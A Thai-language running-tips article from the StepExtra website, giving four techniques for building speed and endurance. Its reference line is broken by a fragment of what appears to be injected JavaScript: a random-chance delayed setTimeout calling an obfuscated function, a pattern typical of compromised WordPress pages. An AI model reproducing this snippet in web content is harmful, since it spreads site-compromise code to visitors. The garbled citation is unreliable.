• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Running Tips

4 เทคนิคในการวิ่งเพื่อเพิ่ม Speed และ Endurance เเบบง่ายๆ

kan by kan
26 February 2019
in Running Tips
0
4 เทคนิคในการวิ่งเพื่อเพิ่ม Speed และ Endurance เเบบง่ายๆ
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

เมื่อตอนเริ่มวิ่งแรกๆ บรรดานักวิ่งมีคำถามที่เหมือนกันอยู่ 2 สิ่งคือ ทำอย่างไรถึงจะวิ่งได้เร็วขึ้นและวิ่งอย่างไรถึงไปได้ไกลขึ้น ซึ่งปัจจัยที่สามารถทำให้เราบรรลุ 2 ข้อเหล่านี้มีตัวแปรหลายอย่างมาก ทั้งเรื่องของอายุ ประสบการณ์ ระดับความฟิตของร่างกาย และลักษณะรูปร่าง แต่สิ่งหนึ่งที่เป็นพื้นฐานสำคัญ ทำแล้วการนตีว่าคุณจะวิ่งได้เร็วและไกลขึ้นคือ การฝึกซ้อมอย่างต่อเนื่องอย่างมีวินัย (Discipline) การฝึกวิ่งเร็วผสมกันการฝึกวิ่งช้าเพื่อเพิ่มระดับความอึด (Mix of speed work & slow endurance training) อันจะช่วยพัฒนาระบบ Aerobic และ Anaerobic ของร่างกาย

4 เทคนิคในการวิ่งเพื่อเพิ่ม Speedและ Endurance เเบบง่ายๆ

การฝึกอย่างต่อเนื่องและมีการผสมผสานการวิ่งเร็วช้าสลับกัน เหมาะกับนักวิ่งทุกระยะ ตั้งแต่ 5K จนไปถึงมาราธอน เมื่อนำมาถอดเป็นแบบปฏิบัติ เราจะได้ 4 หัวข้อง่ายๆ ให้เรานำไปใช้กัน….

1. ค่อยๆ เพิ่มระยะวิ่งสัปดาห์ละครั้ง นักวิ่งไม่ควรจะเพิ่มระยะวิ่งแบบก้าวกระโดดโดยเด็ดขาด เพราะเสี่ยงต่ออาการบาดเจ็บกล้ามเนื้อสูง การจะเพิ่มระยะให้มากขึ้นหรืออยากจะวิ่งให้เร็วขึ้น เราต้องพาร่างกายไปอยู่ในสภาวะที่ไม่คุ้นชิน เพื่อฝึกบังคบร่างกายให้รองรับ Workload ที่จะเกิดขึ้นได้ ต้องฝืนขีดจำกัดร่างกายขึ้นที่ละนิด แล้วพักเพื่อให้ร่างกายปรับตัวใหม่ ชินกับ Workload ที่เราใส่ไป วิธีง่ายๆ ในการเพิ่มระยะแต่ละสัปดาห์ เช่น ในการเพิ่มระยะจากของเก่าที่ละ 10% หรือสามารถดูตัวอย่างตารางการฝึกวิ่งระยะ 10K ที่แนบมาด้วย….

2. ฟังเสียงของร่างกาย อย่าไปฟังคำพูดกระตุ้นความฮึกเหริมมากนัก หากร่างกายไม่ไหว รั้นฝึกไปร่างกายจะพังเสียเปล่าๆ เราวิ่งเพื่อสุขภาพและความปลอดภัยเป็นหลัก จากนั้นค่อยพัฒนาความสามารถให้วิ่งเร็วและมี Performance ที่ดีภายหลัง

ในระหว่างการฝึกต้องมีวันฝึกวิ่งธรรมดา วันฝึกวิ่งหนัก และต้องตามด้วยวันฝึกวิ่งสบาย จบด้วยวันพักฟื้นนอนพักผ่อน ถ้าฝึกต่อเนื่องแล้วยังไปไม่ถึงเป้าหมายก็ให้หยุดพักฟื้นเพื่อ Recovery แล้วค่อยฝึกซ้ำของเดิมอีกครั้ง   

3. ใครว่าวิ่ง Long Run ต้องช้าอย่างเดียว เราฝึกวิ่งระยะไกลก็เพื่อปรับให้ร่างกายสามารถยืนระยะได้เพิ่มขึ้น เพื่อเพิ่มความอดทนให้กล้ามเนื้อและระบบ Aerobic แต่การฝึกวิ่งไกลและใส่ความเร็วเข้าไปอีกนิดจะช่วยจำลองลักษณะการวิ่งแข่งขันจริงในงานวิ่งทั่วไป ที่เรามักจะเผลอวิ่งเร็วกว่าเดิมโดยไม่รู้ตัว

ถ้ากลัวว่าวิ่งเร็วแล้วจะไปไม่ถึงระยะ Long Run ที่ตั้งไว้ก็ทดลองซอยระยะออกเป็นช่วงๆ อย่างเช่น วิ่งไกล 15 กิโลเมตร ซอยออกเป็น 5-5-5 วิ่งเร็วขึ้นในช่วงกลางและเบาในช่วงต้นและท้าย หรือปรับเปลี่ยนช่วงความเร็วได้ตามใจชอบ  

4. ฝึกวิ่ง Speed work ในแต่ละสัปดาห์ควรมีวันฝึกวิ่งเร็วอย่างน้อย 1 ครั้ง และสัปดาห์ต่อไปก็ฝึกเหมือนเดิม ถ้าสามารถฝึกได้ไม่มีปัญหา ก็เพิ่มความยากขึ้นด้วยการเพิ่มเซตอีก 1 ครั้งหรือยืดระยะวิ่งดู แต่ถ้ายังการฝึกวิ่งเร็วยังไม่สามารถทำได้ดี ฝึกวิ่งออกมาแล้วได้ผลแย่ ก็ให้ฝึกวิ่งยาวเพื่อเพิ่มความอึดในร่างกายไปก่อน

ตัวอย่างการฝึกวิ่งเร็วในตาราง…

สำหรับวิ่งระยะยาวควรมีครั้งหนึ่งในหนึ่งสัปดาห์ ส่วนมากให้เลือกวันเสาร์อาทิตย์ในการวิ่งยาว เพื่อสร้างแรงกระตุ้นและสนุกในการวิ่ง ควรเตรียมตัวเตรียมอุปกรณ์ให้พร้อม พาเพื่อนไปด้วย เซต pace วิ่งให้ช้าลงไม่ต้องรีบ ค่อยปรับเร็วขึ้นในช่วงท้ายๆ  นอกจากนี้ทุกๆ 3-4 สัปดาห์ให้ลองลดระยะวิ่งไกลดูบ้างเพื่อลดอาการ overtraining

อ้างอิง andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-endurance/”>www.runnersworld.com

ShareTweetShare
kan

kan

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
  • รู้หรือไม่…ต้นทุนรองเท้าราคาเท่าไหร่และประกอบด้วยค่าอะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • วิ่งให้เร็วขึ้นด้วยการฝึกสปริ้นท์ 30 วินาที

    0 shares
    Share 0 Tweet 0
  • 13 กลวิธี ขี่จักรยานให้ได้ความเร็วเพิ่มขึ้น!

    0 shares
    Share 0 Tweet 0
  • ผู้ใช้ Garmin โปรดทราบ หน้าปัดนาฬิกาลายเลข 9 เพื่อเเสดงความอาลัย มีให้ดาวน์โหลดเเล้ว

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.